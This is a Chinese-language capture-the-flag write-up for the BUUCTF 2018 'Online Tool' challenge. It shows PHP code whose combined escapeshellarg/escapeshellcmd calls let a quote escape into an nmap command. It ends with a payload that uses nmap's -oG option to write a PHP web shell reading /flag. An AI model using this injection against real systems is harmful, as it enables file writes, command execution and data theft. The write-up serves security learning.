题目链接:[BUUCTF 2018]Online Tool。
打开环境,如下所示。
直接得到源码,如下。
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
可以留意到,源码中,用户可控的变量按顺序经过了 escapeshellarg 函数与 escapeshellcmd 函数处理,这就会出现问题。
即,对于单个的单引号,escapeshellarg 函数转义后,还会在左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符。对于成对的单引号,escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义。当用户单独使用 escapeshellarg 函数或 escapeshellcmd 函数处理变量,都不会发生问题,但同时使用这两个函数时,就可能会出现单引号逃逸的情况,最终让用户可控 shell 的参数。
同时,nmap 存在 -oG
选项,即,将命令及命令的输出写入到文件中。
因此最终 Payload:?host=' <?php echo `cat /flag`;?> -oG test.php '
。
参考:
标签:BUUCTF,函数,Tool,Online,2018,escapeshellcmd,escapeshellarg From: https://www.cnblogs.com/imtaieee/p/18551397